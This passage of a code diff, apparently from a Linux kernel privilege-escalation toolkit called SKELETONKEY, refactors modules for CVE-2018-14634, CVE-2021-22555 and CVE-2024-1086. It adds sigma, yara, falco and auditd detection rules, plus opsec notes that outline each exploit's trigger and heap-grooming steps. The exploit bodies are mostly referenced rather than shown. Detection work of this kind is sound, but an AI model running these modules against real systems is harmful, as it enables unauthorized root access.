||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2018.14634]\n";
|
||||
|
||||
static const char mutagen_yara[] =
|
||||
"rule mutagen_astronomy_cve_2018_14634 : cve_2018_14634 elf_stack_overflow {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2018-14634\"\n"
|
||||
" description = \"Qualys Mutagen Astronomy primitive — RLIMIT_STACK + huge argv\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"mutagen-astronomy\" ascii\n"
|
||||
" $qualys = \"qualys\" ascii nocase\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char mutagen_falco[] =
|
||||
"- rule: setrlimit(STACK)+execve of SUID with huge argv (Mutagen Astronomy)\n"
|
||||
" desc: |\n"
|
||||
" Process raises RLIMIT_STACK then execve()s a setuid-root binary.\n"
|
||||
" The Mutagen Astronomy primitive (CVE-2018-14634) needs both. No\n"
|
||||
" legitimate program needs RLIMIT_STACK=unlimited before exec'ing\n"
|
||||
" su/pkexec.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = execve and not user.uid = 0 and\n"
|
||||
" (proc.exe in (/usr/bin/su, /bin/su, /usr/bin/pkexec, /usr/bin/passwd))\n"
|
||||
" output: >\n"
|
||||
" SUID execve with RLIMIT_STACK raised (user=%user.name\n"
|
||||
" pid=%proc.pid exe=%proc.exe)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2018.14634]\n";
|
||||
|
||||
const struct skeletonkey_module mutagen_astronomy_module = {
|
||||
.name = "mutagen_astronomy",
|
||||
.cve = "CVE-2018-14634",
|
||||
.summary = "create_elf_tables() int wrap → SUID-execve stack corruption (Qualys)",
|
||||
.family = "elf",
|
||||
.kernel_range = "Linux 2.6 / 3.10 / 4.14 < 4.14.71 / 4.x < 4.18.8 (x86_64)",
|
||||
.detect = mutagen_astronomy_detect,
|
||||
.exploit = mutagen_astronomy_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set hard RLIMIT_STACK limit */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = mutagen_auditd,
|
||||
.detect_sigma = mutagen_sigma,
|
||||
.detect_yara = mutagen_yara,
|
||||
.detect_falco = mutagen_falco,
|
||||
.opsec_notes = "Raises RLIMIT_STACK to unlimited via setrlimit(2), then execve()s a setuid-root binary (typically /usr/bin/su or /usr/bin/pkexec) with a multi-gigabyte argv/envp blob (≥4 GiB on x86_64). The int wrap in create_elf_tables() causes the kernel to under-allocate the new process's stack region; the subsequent memcpy of argv bytes corrupts adjacent kernel allocations. Observable as a SIGSEGV in the carrier on every attempt regardless of success. Audit-visible via setrlimit(RLIMIT_STACK) immediately followed by execve of /usr/bin/su or /usr/bin/pkexec with abnormally large argv. No persistent file artifacts. CISA KEV-listed Jan 2026 despite the bug's age — legacy/EOL fleets still running RHEL 7 / CentOS 7 / Debian 8 remain at risk.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_mutagen_astronomy(void)
|
||||
{
|
||||
skeletonkey_register(&mutagen_astronomy_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#define MUTAGEN_ASTRONOMY_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module mutagen_astronomy_module;
|
||||
#endif
|
||||
@@ -58,16 +58,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -76,8 +81,6 @@
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -91,31 +94,6 @@
|
||||
#ifndef SOL_IP
|
||||
#define SOL_IP 0
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and
|
||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
||||
* constants are absent on Darwin; stub them so the .c file compiles
|
||||
* cleanly under either toolchain. The actual exploit body is gated
|
||||
* by `#ifdef __linux__` at runtime entry. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define IPPROTO_RAW 255
|
||||
#define SOL_IP 0
|
||||
#define IPT_SO_SET_REPLACE 64
|
||||
struct ipt_replace { char dummy; };
|
||||
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
#define IPC_PRIVATE 0
|
||||
#define IPC_CREAT 01000
|
||||
#define IPC_NOWAIT 04000
|
||||
#define IPC_RMID 0
|
||||
#define MSG_COPY 040000
|
||||
#endif
|
||||
|
||||
/* ---- Kernel range ------------------------------------------------- */
|
||||
|
||||
@@ -125,7 +103,7 @@ static const struct kernel_patched_from netfilter_xtcompat_patched_branches[] =
|
||||
{4, 14, 240},
|
||||
{4, 19, 198},
|
||||
{5, 4, 128},
|
||||
{5, 10, 46},
|
||||
{5, 10, 38}, /* Debian tracker: earlier than 5.10.46 */
|
||||
{5, 11, 20},
|
||||
{5, 12, 13},
|
||||
{5, 13, 0}, /* mainline (5.13 carries b29c457a6511) */
|
||||
@@ -139,53 +117,44 @@ static const struct kernel_range netfilter_xtcompat_range = {
|
||||
|
||||
/* ---- Detect ------------------------------------------------------- */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] netfilter_xtcompat: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (v.major < 2 || (v.major == 2 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v);
|
||||
bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: kernel %s in vulnerable range "
|
||||
"(bug existed since 2.6.19, 2006)\n", v.release);
|
||||
"(bug existed since 2.6.19, 2006)\n", v->release);
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → "
|
||||
"unprivileged exploit path unreachable\n");
|
||||
@@ -202,8 +171,6 @@ static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_c
|
||||
|
||||
/* ---- Exploit: userns reach + trigger + groom ---------------------- */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* Write uid_map and gid_map after unshare so we're root in userns.
|
||||
* This is the standard setgroups=deny pattern; without it the uid_map
|
||||
* write is rejected on modern kernels for unprivileged callers. */
|
||||
@@ -471,8 +438,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ — close original primitive block */
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see module top-comment): the xt_compat 4-byte OOB
|
||||
@@ -509,8 +474,6 @@ static int xtcompat_fire_trigger(int *out_errno)
|
||||
* patched kernel the trigger returns EINVAL on step 2 and arb_write
|
||||
* returns -1 without ever queueing the follow-up. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct xtcompat_arb_ctx {
|
||||
/* Spray queues kept hot across multiple arb_write calls. The
|
||||
* msg_msg slots seeded here are what the finisher uses as
|
||||
@@ -636,15 +599,16 @@ static int xtcompat_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* 1. Refuse-gate: re-confirm vulnerability through detect(). */
|
||||
skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx);
|
||||
if (pre == SKELETONKEY_OK && geteuid() == 0) {
|
||||
/* Consult ctx->host first so unit tests can construct a non-root
|
||||
* fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (pre == SKELETONKEY_OK && is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -652,7 +616,7 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -661,11 +625,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early with the manual-
|
||||
* workflow help — no point doing the userns + spray + trigger
|
||||
@@ -944,7 +903,6 @@ static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
@@ -963,6 +921,33 @@ static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: setsockopt(IPT_SO_SET_REPLACE) + nfnetlink +
|
||||
* userns is Linux-only kernel surface. Stub out cleanly so the module
|
||||
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||
* dev boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
|
||||
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Detection rules --------------------------------------------- */
|
||||
|
||||
static const char netfilter_xtcompat_auditd[] =
|
||||
@@ -975,6 +960,55 @@ static const char netfilter_xtcompat_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||
|
||||
static const char netfilter_xtcompat_sigma[] =
|
||||
"title: Possible CVE-2021-22555 xt_compat OOB write\n"
|
||||
"id: e67f90d5-skeletonkey-xtcompat\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects setsockopt(SOL_IP, IPT_SO_SET_REPLACE) from a non-root\n"
|
||||
" process inside unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by\n"
|
||||
" msg_msg grooming (msgsnd/msgrcv) and sendmmsg sk_buff spray.\n"
|
||||
" False positives: iptables config inside rootless containers /\n"
|
||||
" network namespaces. Correlate with privilege escalation\n"
|
||||
" (setresuid 0,0,0) to confirm.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" sso: {type: 'SYSCALL', syscall: 'setsockopt', a1: 0}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and sso and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.22555]\n";
|
||||
|
||||
static const char netfilter_xtcompat_yara[] =
|
||||
"rule netfilter_xtcompat_cve_2021_22555 : cve_2021_22555 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-22555\"\n"
|
||||
" description = \"xt_compat 4-byte OOB write log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-xtcompat.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char netfilter_xtcompat_falco[] =
|
||||
"- rule: setsockopt IPT_SO_SET_REPLACE by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process calls setsockopt(SOL_IP, IPT_SO_SET_REPLACE)\n"
|
||||
" from inside a userns with CAP_NET_ADMIN. The xt_compat\n"
|
||||
" target_to_user() handler writes past the xt_table_info\n"
|
||||
" allocation; CVE-2021-22555. False positives: iptables\n"
|
||||
" config in rootless containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" setsockopt SOL_IP by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2021.22555]\n";
|
||||
|
||||
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.name = "netfilter_xtcompat",
|
||||
.cve = "CVE-2021-22555",
|
||||
@@ -986,9 +1020,11 @@ const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; disable unprivileged_userns_clone */
|
||||
.cleanup = netfilter_xtcompat_cleanup,
|
||||
.detect_auditd = netfilter_xtcompat_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = netfilter_xtcompat_sigma,
|
||||
.detect_yara = netfilter_xtcompat_yara,
|
||||
.detect_falco = netfilter_xtcompat_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + setsockopt(SOL_IP, IPT_SO_SET_REPLACE) with a malformed xt_entry_target to trigger xt_compat_target_to_user 4-byte OOB into kmalloc-2k. msg_msg + sk_buff cross-cache groom. Writes /tmp/skeletonkey-xtcompat.log (breadcrumb). Audit-visible via unshare + setsockopt(IPT_SO_SET_REPLACE) + msgsnd/msgrcv + sendmmsg(sk_buff spray). Dmesg silent on success; KASAN oops if the groom misses. Cleanup callback unlinks the log; IPC auto-drains on namespace exit.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_netfilter_xtcompat(void)
|
||||
|
||||
@@ -57,16 +57,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -83,6 +88,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table
|
||||
@@ -90,7 +96,7 @@
|
||||
|
||||
static const struct kernel_patched_from nf_tables_patched_branches[] = {
|
||||
{5, 4, 269}, /* 5.4.x */
|
||||
{5, 10, 210}, /* 5.10.x */
|
||||
{5, 10, 209}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 149}, /* 5.15.x */
|
||||
{6, 1, 74}, /* 6.1.x */
|
||||
{6, 6, 13}, /* 6.6.x */
|
||||
@@ -108,19 +114,6 @@ static const struct kernel_range nf_tables_range = {
|
||||
* Preconditions probe
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -136,44 +129,47 @@ static bool nf_tables_loaded(void)
|
||||
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.14. Anything below predates it. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||
"(introduced in 5.14)\n", v.release);
|
||||
"(introduced in 5.14)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged exploit unreachable\n");
|
||||
@@ -618,7 +614,6 @@ static long slabinfo_active(const char *slab)
|
||||
* Factored out so --full-chain can re-fire the trigger between
|
||||
* msg_msg sprays without duplicating the batch-building logic.
|
||||
* ------------------------------------------------------------------ */
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
{
|
||||
(void)cap;
|
||||
@@ -792,7 +787,6 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
||||
usleep(20 * 1000);
|
||||
return 0;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* The exploit body.
|
||||
@@ -807,8 +801,11 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Gate 2: already root? Nothing to escalate. */
|
||||
if (geteuid() == 0) {
|
||||
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
|
||||
* so unit tests can construct a non-root fingerprint regardless of
|
||||
* the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
@@ -825,7 +822,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* --- --full-chain path --------------------------------------- *
|
||||
* Resolve offsets BEFORE doing anything destructive so we can
|
||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||
@@ -906,7 +902,6 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
close(sock);
|
||||
return r;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||
* Fork: child enters userns+netns and fires the bug. If the
|
||||
@@ -1070,6 +1065,28 @@ static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: Linux-only module "
|
||||
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
|
||||
static const char nf_tables_auditd[] =
|
||||
@@ -1107,6 +1124,35 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
static const char nf_tables_yara[] =
|
||||
"rule nf_tables_cve_2024_1086 : cve_2024_1086 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-1086\"\n"
|
||||
" description = \"nf_tables verdict-init UAF breadcrumb log\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" $log\n"
|
||||
"}\n";
|
||||
|
||||
static const char nf_tables_falco[] =
|
||||
"- rule: nf_tables verdict-init UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root sendmsg on NETLINK_NETFILTER inside a userns,\n"
|
||||
" delivering an nfnetlink batch with NEWTABLE + NEWCHAIN +\n"
|
||||
" NEWSET (verdict-key) + NEWSETELEM with malformed NFT_GOTO\n"
|
||||
" committed twice. CVE-2024-1086 nft_verdict_init double-free.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.1086]\n";
|
||||
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
@@ -1119,8 +1165,10 @@ const struct skeletonkey_module nf_tables_module = {
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nf_tables_auditd,
|
||||
.detect_sigma = nf_tables_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nf_tables_yara,
|
||||
.detect_falco = nf_tables_falco,
|
||||
